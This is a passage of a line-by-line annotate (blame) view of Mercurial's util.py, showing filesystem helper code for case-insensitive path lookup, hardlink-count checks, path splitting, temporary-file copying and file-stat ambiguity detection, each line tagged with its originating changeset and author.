15669 390bcd01775a icasefs: use util.normcase() instead of lower() or os.path.normcase in fspath FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 15667 diff changeset	1855 dir = os.path.normpath(root)
6676 33045179d079 Add a new function, fspath Paul Moore <p.f.moore@gmail.com> parents: 6595 diff changeset	1856 result = []
33045179d079 Add a new function, fspath Paul Moore <p.f.moore@gmail.com> parents: 6595 diff changeset	1857 for part, sep in pattern.findall(name):
33045179d079 Add a new function, fspath Paul Moore <p.f.moore@gmail.com> parents: 6595 diff changeset	1858 if sep:
33045179d079 Add a new function, fspath Paul Moore <p.f.moore@gmail.com> parents: 6595 diff changeset	1859 result.append(sep)
33045179d079 Add a new function, fspath Paul Moore <p.f.moore@gmail.com> parents: 6595 diff changeset	1860 continue
33045179d079 Add a new function, fspath Paul Moore <p.f.moore@gmail.com> parents: 6595 diff changeset	1861
15719 1dd60426b061 icasefs: follow standard cache look up pattern FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 15718 diff changeset	1862 if dir not in _fspathcache:
23097 30124c40d11f util.fspath: use a dict rather than a linear scan for lookups Siddharth Agarwal <sid0@fb.com> parents: 23076 diff changeset	1863 _fspathcache[dir] = _makefspathcacheentry(dir)
15719 1dd60426b061 icasefs: follow standard cache look up pattern FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 15718 diff changeset	1864 contents = _fspathcache[dir]
6676 33045179d079 Add a new function, fspath Paul Moore <p.f.moore@gmail.com> parents: 6595 diff changeset	1865
23097 30124c40d11f util.fspath: use a dict rather than a linear scan for lookups Siddharth Agarwal <sid0@fb.com> parents: 23076 diff changeset	1866 found = contents.get(part)
15709 a1f4bd47d18e icasefs: retry directory scan once for already invalidated cache FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 15674 diff changeset	1867 if not found:
15720 3bcfea777efc icasefs: rewrite comment to explain situtation precisely FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 15719 diff changeset	1868 # retry "once per directory" per "dirstate.walk" which
3bcfea777efc icasefs: rewrite comment to explain situtation precisely FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 15719 diff changeset	1869 # may take place for each patches of "hg qpush", for example
23097 30124c40d11f util.fspath: use a dict rather than a linear scan for lookups Siddharth Agarwal <sid0@fb.com> parents: 23076 diff changeset	1870 _fspathcache[dir] = contents = _makefspathcacheentry(dir)
30124c40d11f util.fspath: use a dict rather than a linear scan for lookups Siddharth Agarwal <sid0@fb.com> parents: 23076 diff changeset	1871 found = contents.get(part)
15709 a1f4bd47d18e icasefs: retry directory scan once for already invalidated cache FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 15674 diff changeset	1872
a1f4bd47d18e icasefs: retry directory scan once for already invalidated cache FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 15674 diff changeset	1873 result.append(found or part)
15669 390bcd01775a icasefs: use util.normcase() instead of lower() or os.path.normcase in fspath FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 15667 diff changeset	1874 dir = os.path.join(dir, part)
6676 33045179d079 Add a new function, fspath Paul Moore <p.f.moore@gmail.com> parents: 6595 diff changeset	1875
33045179d079 Add a new function, fspath Paul Moore <p.f.moore@gmail.com> parents: 6595 diff changeset	1876 return ''.join(result)
33045179d079 Add a new function, fspath Paul Moore <p.f.moore@gmail.com> parents: 6595 diff changeset	1877
12938 bf826c0b9537 opener: check hardlink count reporting (issue1866) Adrian Buehlmann <adrian@cadifra.com> parents: 12927 diff changeset	1878 def checknlink(testfile):
bf826c0b9537 opener: check hardlink count reporting (issue1866) Adrian Buehlmann <adrian@cadifra.com> parents: 12927 diff changeset	1879 '''check whether hardlink count reporting works properly'''
bf826c0b9537 opener: check hardlink count reporting (issue1866) Adrian Buehlmann <adrian@cadifra.com> parents: 12927 diff changeset	1880
13204 5b83ab614dab checknlink: use two testfiles (issue2543) Adrian Buehlmann <adrian@cadifra.com> parents: 13188 diff changeset	1881 # testfile may be open, so we need a separate file for checking to
5b83ab614dab checknlink: use two testfiles (issue2543) Adrian Buehlmann <adrian@cadifra.com> parents: 13188 diff changeset	1882 # work around issue2543 (or testfile may get lost on Samba shares)
34101 6c5cdb02f2f9 checknlink: rename file object from 'fd' to 'fp' Jun Wu <quark@fb.com> parents: 34096 diff changeset	1883 f1, f2, fp = None, None, None
12938 bf826c0b9537 opener: check hardlink count reporting (issue1866) Adrian Buehlmann <adrian@cadifra.com> parents: 12927 diff changeset	1884 try:
38197 aac4be30e250 py3: wrap tempfile.mkstemp() to use bytes path Yuya Nishihara <yuya@tcha.org> parents: 38016 diff changeset	1885 fd, f1 = pycompat.mkstemp(prefix='.%s-' % os.path.basename(testfile),
34096 1104718fb090 checknlink: use a random temp file name for checking Jun Wu <quark@fb.com> parents: 34089 diff changeset	1886 suffix='1~', dir=os.path.dirname(testfile))
1104718fb090 checknlink: use a random temp file name for checking Jun Wu <quark@fb.com> parents: 34089 diff changeset	1887 os.close(fd)
1104718fb090 checknlink: use a random temp file name for checking Jun Wu <quark@fb.com> parents: 34089 diff changeset	1888 f2 = '%s2~' % f1[:-2]
1104718fb090 checknlink: use a random temp file name for checking Jun Wu <quark@fb.com> parents: 34089 diff changeset	1889
25088 754df8e932d3 util: use try/except/finally Matt Mackall <mpm@selenic.com> parents: 24902 diff changeset	1890 oslink(f1, f2)
12938 bf826c0b9537 opener: check hardlink count reporting (issue1866) Adrian Buehlmann <adrian@cadifra.com> parents: 12927 diff changeset	1891 # nlinks() may behave differently for files on Windows shares if
bf826c0b9537 opener: check hardlink count reporting (issue1866) Adrian Buehlmann <adrian@cadifra.com> parents: 12927 diff changeset	1892 # the file is open.
34101 6c5cdb02f2f9 checknlink: rename file object from 'fd' to 'fp' Jun Wu <quark@fb.com> parents: 34096 diff changeset	1893 fp = posixfile(f2)
13204 5b83ab614dab checknlink: use two testfiles (issue2543) Adrian Buehlmann <adrian@cadifra.com> parents: 13188 diff changeset	1894 return nlinks(f2) > 1
25088 754df8e932d3 util: use try/except/finally Matt Mackall <mpm@selenic.com> parents: 24902 diff changeset	1895 except OSError:
754df8e932d3 util: use try/except/finally Matt Mackall <mpm@selenic.com> parents: 24902 diff changeset	1896 return False
12938 bf826c0b9537 opener: check hardlink count reporting (issue1866) Adrian Buehlmann <adrian@cadifra.com> parents: 12927 diff changeset	1897 finally:
34101 6c5cdb02f2f9 checknlink: rename file object from 'fd' to 'fp' Jun Wu <quark@fb.com> parents: 34096 diff changeset	1898 if fp is not None:
6c5cdb02f2f9 checknlink: rename file object from 'fd' to 'fp' Jun Wu <quark@fb.com> parents: 34096 diff changeset	1899 fp.close()
13204 5b83ab614dab checknlink: use two testfiles (issue2543) Adrian Buehlmann <adrian@cadifra.com> parents: 13188 diff changeset	1900 for f in (f1, f2):
5b83ab614dab checknlink: use two testfiles (issue2543) Adrian Buehlmann <adrian@cadifra.com> parents: 13188 diff changeset	1901 try:
34096 1104718fb090 checknlink: use a random temp file name for checking Jun Wu <quark@fb.com> parents: 34089 diff changeset	1902 if f is not None:
1104718fb090 checknlink: use a random temp file name for checking Jun Wu <quark@fb.com> parents: 34089 diff changeset	1903 os.unlink(f)
13204 5b83ab614dab checknlink: use two testfiles (issue2543) Adrian Buehlmann <adrian@cadifra.com> parents: 13188 diff changeset	1904 except OSError:
5b83ab614dab checknlink: use two testfiles (issue2543) Adrian Buehlmann <adrian@cadifra.com> parents: 13188 diff changeset	1905 pass
12938 bf826c0b9537 opener: check hardlink count reporting (issue1866) Adrian Buehlmann <adrian@cadifra.com> parents: 12927 diff changeset	1906
5843 83c354c4d529 Add endswithsep() and use it instead of using os.sep and os.altsep directly. Shun-ichi GOTO <shunichi.goto@gmail.com> parents: 5802 diff changeset	1907 def endswithsep(path):
83c354c4d529 Add endswithsep() and use it instead of using os.sep and os.altsep directly. Shun-ichi GOTO <shunichi.goto@gmail.com> parents: 5802 diff changeset	1908 '''Check path ends with os.sep or os.altsep.'''
30618 1112ff99d965 py3: replace os.sep with pycompat.ossep (part 1 of 4) Pulkit Goyal <7895pulkit@gmail.com> parents: 30545 diff changeset	1909 return (path.endswith(pycompat.ossep)
30630 bcf4a975f93d py3: replace os.altsep with pycompat.altsep Pulkit Goyal <7895pulkit@gmail.com> parents: 30618 diff changeset	1910 or pycompat.osaltsep and path.endswith(pycompat.osaltsep))
5843 83c354c4d529 Add endswithsep() and use it instead of using os.sep and os.altsep directly. Shun-ichi GOTO <shunichi.goto@gmail.com> parents: 5802 diff changeset	1911
5844 07d8eb78dd68 Add util.splitpath() and use it instead of using os.sep directly. Shun-ichi GOTO <shunichi.goto@gmail.com> parents: 5843 diff changeset	1912 def splitpath(path):
07d8eb78dd68 Add util.splitpath() and use it instead of using os.sep directly. Shun-ichi GOTO <shunichi.goto@gmail.com> parents: 5843 diff changeset	1913 '''Split path by os.sep.
07d8eb78dd68 Add util.splitpath() and use it instead of using os.sep directly. Shun-ichi GOTO <shunichi.goto@gmail.com> parents: 5843 diff changeset	1914 Note that this function does not use os.altsep because this is
07d8eb78dd68 Add util.splitpath() and use it instead of using os.sep directly. Shun-ichi GOTO <shunichi.goto@gmail.com> parents: 5843 diff changeset	1915 an alternative of simple "xxx.split(os.sep)".
07d8eb78dd68 Add util.splitpath() and use it instead of using os.sep directly. Shun-ichi GOTO <shunichi.goto@gmail.com> parents: 5843 diff changeset	1916 It is recommended to use os.path.normpath() before using this
07d8eb78dd68 Add util.splitpath() and use it instead of using os.sep directly. Shun-ichi GOTO <shunichi.goto@gmail.com> parents: 5843 diff changeset	1917 function if need.'''
30618 1112ff99d965 py3: replace os.sep with pycompat.ossep (part 1 of 4) Pulkit Goyal <7895pulkit@gmail.com> parents: 30545 diff changeset	1918 return path.split(pycompat.ossep)
5844 07d8eb78dd68 Add util.splitpath() and use it instead of using os.sep directly. Shun-ichi GOTO <shunichi.goto@gmail.com> parents: 5843 diff changeset	1919
6062 3c3b126e5619 Make files in .hg inherit the permissions from .hg/store Alexis S. L. Carvalho <alexis@cecm.usp.br> parents: 6007 diff changeset	1920 def mktempcopy(name, emptyok=False, createmode=None):
4827 89defeae88f3 turn util.opener into a class Alexis S. L. Carvalho <alexis@cecm.usp.br> parents: 4803 diff changeset	1921 """Create a temporary file with the same contents from name
89defeae88f3 turn util.opener into a class Alexis S. L. Carvalho <alexis@cecm.usp.br> parents: 4803 diff changeset	1922
89defeae88f3 turn util.opener into a class Alexis S. L. Carvalho <alexis@cecm.usp.br> parents: 4803 diff changeset	1923 The permission bits are copied from the original file.
89defeae88f3 turn util.opener into a class Alexis S. L. Carvalho <alexis@cecm.usp.br> parents: 4803 diff changeset	1924
89defeae88f3 turn util.opener into a class Alexis S. L. Carvalho <alexis@cecm.usp.br> parents: 4803 diff changeset	1925 If the temporary file is going to be truncated immediately, you
89defeae88f3 turn util.opener into a class Alexis S. L. Carvalho <alexis@cecm.usp.br> parents: 4803 diff changeset	1926 can use emptyok=True as an optimization.
89defeae88f3 turn util.opener into a class Alexis S. L. Carvalho <alexis@cecm.usp.br> parents: 4803 diff changeset	1927
89defeae88f3 turn util.opener into a class Alexis S. L. Carvalho <alexis@cecm.usp.br> parents: 4803 diff changeset	1928 Returns the name of the temporary file.
2176 9b42304d9896 fix file handling bugs on windows. Vadim Gelfer <vadim.gelfer@gmail.com> parents: 2117 diff changeset	1929 """
4827 89defeae88f3 turn util.opener into a class Alexis S. L. Carvalho <alexis@cecm.usp.br> parents: 4803 diff changeset	1930 d, fn = os.path.split(name)
38197 aac4be30e250 py3: wrap tempfile.mkstemp() to use bytes path Yuya Nishihara <yuya@tcha.org> parents: 38016 diff changeset	1931 fd, temp = pycompat.mkstemp(prefix='.%s-' % fn, suffix='~', dir=d)
4827 89defeae88f3 turn util.opener into a class Alexis S. L. Carvalho <alexis@cecm.usp.br> parents: 4803 diff changeset	1932 os.close(fd)
89defeae88f3 turn util.opener into a class Alexis S. L. Carvalho <alexis@cecm.usp.br> parents: 4803 diff changeset	1933 # Temporary files are created with mode 0600, which is usually not
89defeae88f3 turn util.opener into a class Alexis S. L. Carvalho <alexis@cecm.usp.br> parents: 4803 diff changeset	1934 # what we want. If the original file already exists, just copy
89defeae88f3 turn util.opener into a class Alexis S. L. Carvalho <alexis@cecm.usp.br> parents: 4803 diff changeset	1935 # its mode. Otherwise, manually obey umask.
15010 c3114acd8ea2 util: factor new function copymode out of mktempcopy Adrian Buehlmann <adrian@cadifra.com> parents: 14999 diff changeset	1936 copymode(name, temp, createmode)
4827 89defeae88f3 turn util.opener into a class Alexis S. L. Carvalho <alexis@cecm.usp.br> parents: 4803 diff changeset	1937 if emptyok:
89defeae88f3 turn util.opener into a class Alexis S. L. Carvalho <alexis@cecm.usp.br> parents: 4803 diff changeset	1938 return temp
89defeae88f3 turn util.opener into a class Alexis S. L. Carvalho <alexis@cecm.usp.br> parents: 4803 diff changeset	1939 try:
89defeae88f3 turn util.opener into a class Alexis S. L. Carvalho <alexis@cecm.usp.br> parents: 4803 diff changeset	1940 try:
89defeae88f3 turn util.opener into a class Alexis S. L. Carvalho <alexis@cecm.usp.br> parents: 4803 diff changeset	1941 ifp = posixfile(name, "rb")
25660 328739ea70c3 global: mass rewrite to use modern exception syntax Gregory Szorc <gregory.szorc@gmail.com> parents: 25420 diff changeset	1942 except IOError as inst:
4827 89defeae88f3 turn util.opener into a class Alexis S. L. Carvalho <alexis@cecm.usp.br> parents: 4803 diff changeset	1943 if inst.errno == errno.ENOENT:
89defeae88f3 turn util.opener into a class Alexis S. L. Carvalho <alexis@cecm.usp.br> parents: 4803 diff changeset	1944 return temp
89defeae88f3 turn util.opener into a class Alexis S. L. Carvalho <alexis@cecm.usp.br> parents: 4803 diff changeset	1945 if not getattr(inst, 'filename', None):
89defeae88f3 turn util.opener into a class Alexis S. L. Carvalho <alexis@cecm.usp.br> parents: 4803 diff changeset	1946 inst.filename = name
89defeae88f3 turn util.opener into a class Alexis S. L. Carvalho <alexis@cecm.usp.br> parents: 4803 diff changeset	1947 raise
89defeae88f3 turn util.opener into a class Alexis S. L. Carvalho <alexis@cecm.usp.br> parents: 4803 diff changeset	1948 ofp = posixfile(temp, "wb")
89defeae88f3 turn util.opener into a class Alexis S. L. Carvalho <alexis@cecm.usp.br> parents: 4803 diff changeset	1949 for chunk in filechunkiter(ifp):
89defeae88f3 turn util.opener into a class Alexis S. L. Carvalho <alexis@cecm.usp.br> parents: 4803 diff changeset	1950 ofp.write(chunk)
89defeae88f3 turn util.opener into a class Alexis S. L. Carvalho <alexis@cecm.usp.br> parents: 4803 diff changeset	1951 ifp.close()
89defeae88f3 turn util.opener into a class Alexis S. L. Carvalho <alexis@cecm.usp.br> parents: 4803 diff changeset	1952 ofp.close()
16705 c2d9ef43ff6c check-code: ignore naked excepts with a "re-raise" comment Brodie Rao <brodie@sf.io> parents: 16703 diff changeset	1953 except: # re-raises
34436 5326e4ef1dab style: never put multiple statements on one line Alex Gaynor <agaynor@mozilla.com> parents: 34363 diff changeset	1954 try:
5326e4ef1dab style: never put multiple statements on one line Alex Gaynor <agaynor@mozilla.com> parents: 34363 diff changeset	1955 os.unlink(temp)
5326e4ef1dab style: never put multiple statements on one line Alex Gaynor <agaynor@mozilla.com> parents: 34363 diff changeset	1956 except OSError:
5326e4ef1dab style: never put multiple statements on one line Alex Gaynor <agaynor@mozilla.com> parents: 34363 diff changeset	1957 pass
4827 89defeae88f3 turn util.opener into a class Alexis S. L. Carvalho <alexis@cecm.usp.br> parents: 4803 diff changeset	1958 raise
89defeae88f3 turn util.opener into a class Alexis S. L. Carvalho <alexis@cecm.usp.br> parents: 4803 diff changeset	1959 return temp
2176 9b42304d9896 fix file handling bugs on windows. Vadim Gelfer <vadim.gelfer@gmail.com> parents: 2117 diff changeset	1960
29200 ca4065028e00 util: add filestat class to detect ambiguity of file stat FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 29017 diff changeset	1961 class filestat(object):
ca4065028e00 util: add filestat class to detect ambiguity of file stat FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 29017 diff changeset	1962 """help to exactly detect change of a file
ca4065028e00 util: add filestat class to detect ambiguity of file stat FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 29017 diff changeset	1963
ca4065028e00 util: add filestat class to detect ambiguity of file stat FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 29017 diff changeset	1964 'stat' attribute is result of 'os.stat()' if specified 'path'
ca4065028e00 util: add filestat class to detect ambiguity of file stat FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 29017 diff changeset	1965 exists. Otherwise, it is None. This can avoid preparative
ca4065028e00 util: add filestat class to detect ambiguity of file stat FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 29017 diff changeset	1966 'exists()' examination on client side of this class.
ca4065028e00 util: add filestat class to detect ambiguity of file stat FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 29017 diff changeset	1967 """
32792 7ad95626f6a7 filestat: move __init__ to frompath constructor Siddharth Agarwal <sid0@fb.com> parents: 32769 diff changeset	1968 def __init__(self, stat):
7ad95626f6a7 filestat: move __init__ to frompath constructor Siddharth Agarwal <sid0@fb.com> parents: 32769 diff changeset	1969 self.stat = stat
7ad95626f6a7 filestat: move __init__ to frompath constructor Siddharth Agarwal <sid0@fb.com> parents: 32769 diff changeset	1970
7ad95626f6a7 filestat: move __init__ to frompath constructor Siddharth Agarwal <sid0@fb.com> parents: 32769 diff changeset	1971 @classmethod
7ad95626f6a7 filestat: move __init__ to frompath constructor Siddharth Agarwal <sid0@fb.com> parents: 32769 diff changeset	1972 def frompath(cls, path):
29200 ca4065028e00 util: add filestat class to detect ambiguity of file stat FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 29017 diff changeset	1973 try:
32792 7ad95626f6a7 filestat: move __init__ to frompath constructor Siddharth Agarwal <sid0@fb.com> parents: 32769 diff changeset	1974 stat = os.stat(path)
29200 ca4065028e00 util: add filestat class to detect ambiguity of file stat FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 29017 diff changeset	1975 except OSError as err:
ca4065028e00 util: add filestat class to detect ambiguity of file stat FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 29017 diff changeset	1976 if err.errno != errno.ENOENT:
ca4065028e00 util: add filestat class to detect ambiguity of file stat FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 29017 diff changeset	1977 raise
32792 7ad95626f6a7 filestat: move __init__ to frompath constructor Siddharth Agarwal <sid0@fb.com> parents: 32769 diff changeset	1978 stat = None
7ad95626f6a7 filestat: move __init__ to frompath constructor Siddharth Agarwal <sid0@fb.com> parents: 32769 diff changeset	1979 return cls(stat)
29200 ca4065028e00 util: add filestat class to detect ambiguity of file stat FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 29017 diff changeset	1980
32835 1b25c648d5b7 fsmonitor: don't write out state if identity has changed (issue5581) Siddharth Agarwal <sid0@fb.com> parents: 32792 diff changeset	1981 @classmethod
1b25c648d5b7 fsmonitor: don't write out state if identity has changed (issue5581) Siddharth Agarwal <sid0@fb.com> parents: 32792 diff changeset	1982 def fromfp(cls, fp):
1b25c648d5b7 fsmonitor: don't write out state if identity has changed (issue5581) Siddharth Agarwal <sid0@fb.com> parents: 32792 diff changeset	1983 stat = os.fstat(fp.fileno())
1b25c648d5b7 fsmonitor: don't write out state if identity has changed (issue5581) Siddharth Agarwal <sid0@fb.com> parents: 32792 diff changeset	1984 return cls(stat)
1b25c648d5b7 fsmonitor: don't write out state if identity has changed (issue5581) Siddharth Agarwal <sid0@fb.com> parents: 32792 diff changeset	1985
29200 ca4065028e00 util: add filestat class to detect ambiguity of file stat FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 29017 diff changeset	1986 __hash__ = object.__hash__
ca4065028e00 util: add filestat class to detect ambiguity of file stat FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 29017 diff changeset	1987
ca4065028e00 util: add filestat class to detect ambiguity of file stat FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 29017 diff changeset	1988 def __eq__(self, old):
ca4065028e00 util: add filestat class to detect ambiguity of file stat FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 29017 diff changeset	1989 try:
ca4065028e00 util: add filestat class to detect ambiguity of file stat FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 29017 diff changeset	1990 # if ambiguity between stat of new and old file is
30342 318a24b52eeb spelling: fixes of non-dictionary words Mads Kiilerich <madski@unity3d.com> parents: 30339 diff changeset	1991 # avoided, comparison of size, ctime and mtime is enough
29200 ca4065028e00 util: add filestat class to detect ambiguity of file stat FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 29017 diff changeset	1992 # to exactly detect change of a file regardless of platform
ca4065028e00 util: add filestat class to detect ambiguity of file stat FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 29017 diff changeset	1993 return (self.stat.st_size == old.stat.st_size and
36789 ffa3026d4196 cleanup: use stat_result[stat.ST_MTIME] instead of stat_result.st_mtime Augie Fackler <augie@google.com> parents: 36747 diff changeset	1994 self.stat[stat.ST_CTIME] == old.stat[stat.ST_CTIME] and
ffa3026d4196 cleanup: use stat_result[stat.ST_MTIME] instead of stat_result.st_mtime Augie Fackler <augie@google.com> parents: 36747 diff changeset	1995 self.stat[stat.ST_MTIME] == old.stat[stat.ST_MTIME])
29200 ca4065028e00 util: add filestat class to detect ambiguity of file stat FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 29017 diff changeset	1996 except AttributeError:
32769 b5524fd9a4e3 util: make filestat.__eq__ return True if both of self and old have None stat FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 32766 diff changeset	1997 pass
b5524fd9a4e3 util: make filestat.__eq__ return True if both of self and old have None stat FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 32766 diff changeset	1998 try:
b5524fd9a4e3 util: make filestat.__eq__ return True if both of self and old have None stat FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 32766 diff changeset	1999 return self.stat is None and old.stat is None
b5524fd9a4e3 util: make filestat.__eq__ return True if both of self and old have None stat FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 32766 diff changeset	2000 except AttributeError:
29200 ca4065028e00 util: add filestat class to detect ambiguity of file stat FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 29017 diff changeset	2001 return False
ca4065028e00 util: add filestat class to detect ambiguity of file stat FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 29017 diff changeset	2002
ca4065028e00 util: add filestat class to detect ambiguity of file stat FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 29017 diff changeset	2003 def isambig(self, old):
ca4065028e00 util: add filestat class to detect ambiguity of file stat FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 29017 diff changeset	2004 """Examine whether new (= self) stat is ambiguous against old one
ca4065028e00 util: add filestat class to detect ambiguity of file stat FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 29017 diff changeset	2005
ca4065028e00 util: add filestat class to detect ambiguity of file stat FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 29017 diff changeset	2006 "S[N]" below means stat of a file at N-th change:
ca4065028e00 util: add filestat class to detect ambiguity of file stat FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 29017 diff changeset	2007
ca4065028e00 util: add filestat class to detect ambiguity of file stat FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 29017 diff changeset	2008 - S[n-1].ctime < S[n].ctime: can detect change of a file
ca4065028e00 util: add filestat class to detect ambiguity of file stat FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 29017 diff changeset	2009 - S[n-1].ctime == S[n].ctime
ca4065028e00 util: add filestat class to detect ambiguity of file stat FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 29017 diff changeset	2010 - S[n-1].ctime < S[n].mtime: means natural advancing (*1)
ca4065028e00 util: add filestat class to detect ambiguity of file stat FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 29017 diff changeset	2011 - S[n-1].ctime == S[n].mtime: is ambiguous (*2)
ca4065028e00 util: add filestat class to detect ambiguity of file stat FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 29017 diff changeset	2012 - S[n-1].ctime > S[n].mtime: never occurs naturally (don't care)
ca4065028e00 util: add filestat class to detect ambiguity of file stat FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 29017 diff changeset	2013 - S[n-1].ctime > S[n].ctime: never occurs naturally (don't care)
ca4065028e00 util: add filestat class to detect ambiguity of file stat FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 29017 diff changeset	2014
ca4065028e00 util: add filestat class to detect ambiguity of file stat FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 29017 diff changeset	2015 Case (*2) above means that a file was changed twice or more at
ca4065028e00 util: add filestat class to detect ambiguity of file stat FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 29017 diff changeset	2016 same time in sec (= S[n-1].ctime), and comparison of timestamp
ca4065028e00 util: add filestat class to detect ambiguity of file stat FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 29017 diff changeset	2017 is ambiguous.
ca4065028e00 util: add filestat class to detect ambiguity of file stat FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 29017 diff changeset	2018
ca4065028e00 util: add filestat class to detect ambiguity of file stat FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 29017 diff changeset	2019 Base idea to avoid such ambiguity is "advance mtime 1 sec, if
ca4065028e00 util: add filestat class to detect ambiguity of file stat FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 29017 diff changeset	2020 timestamp is ambiguous".
ca4065028e00 util: add filestat class to detect ambiguity of file stat FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 29017 diff changeset	2021
ca4065028e00 util: add filestat class to detect ambiguity of file stat FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 29017 diff changeset	2022 But advancing mtime only in case (*2) doesn't work as
ca4065028e00 util: add filestat class to detect ambiguity of file stat FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 29017 diff changeset	2023 expected, because naturally advanced S[n].mtime in case (*1)
ca4065028e00 util: add filestat class to detect ambiguity of file stat FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 29017 diff changeset	2024 might be equal to manually advanced S[n-1 or earlier].mtime.
ca4065028e00 util: add filestat class to detect ambiguity of file stat FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 29017 diff changeset	2025
ca4065028e00 util: add filestat class to detect ambiguity of file stat FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 29017 diff changeset	2026 Therefore, all "S[n-1].ctime == S[n].ctime" cases should be
ca4065028e00 util: add filestat class to detect ambiguity of file stat FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 29017 diff changeset	2027 treated as ambiguous regardless of mtime, to avoid overlooking
ca4065028e00 util: add filestat class to detect ambiguity of file stat FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 29017 diff changeset	2028 by confliction between such mtime.
ca4065028e00 util: add filestat class to detect ambiguity of file stat FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 29017 diff changeset	2029
ca4065028e00 util: add filestat class to detect ambiguity of file stat FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 29017 diff changeset	2030 Advancing mtime "if isambig(oldstat)" ensures "S[n-1].mtime !=
ca4065028e00 util: add filestat class to detect ambiguity of file stat FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 29017 diff changeset	2031 S[n].mtime", even if size of a file isn't changed.
ca4065028e00 util: add filestat class to detect ambiguity of file stat FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 29017 diff changeset	2032 """
ca4065028e00 util: add filestat class to detect ambiguity of file stat FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 29017 diff changeset	2033 try:
36789 ffa3026d4196 cleanup: use stat_result[stat.ST_MTIME] instead of stat_result.st_mtime Augie Fackler <augie@google.com> parents: 36747 diff changeset	2034 return (self.stat[stat.ST_CTIME] == old.stat[stat.ST_CTIME])
29200 ca4065028e00 util: add filestat class to detect ambiguity of file stat FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 29017 diff changeset	2035 except AttributeError:
ca4065028e00 util: add filestat class to detect ambiguity of file stat FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 29017 diff changeset	2036 return False
ca4065028e00 util: add filestat class to detect ambiguity of file stat FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 29017 diff changeset	2037
30253 b496a464399c util: add utility function to skip avoiding file stat ambiguity if EPERM FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 30181 diff changeset	2038 def avoidambig(self, path, old):
b496a464399c util: add utility function to skip avoiding file stat ambiguity if EPERM FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 30181 diff changeset	2039 """Change file stat of specified path to avoid ambiguity
b496a464399c util: add utility function to skip avoiding file stat ambiguity if EPERM FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 30181 diff changeset	2040
b496a464399c util: add utility function to skip avoiding file stat ambiguity if EPERM FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 30181 diff changeset	2041 'old' should be previous filestat of 'path'.
b496a464399c util: add utility function to skip avoiding file stat ambiguity if EPERM FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 30181 diff changeset	2042
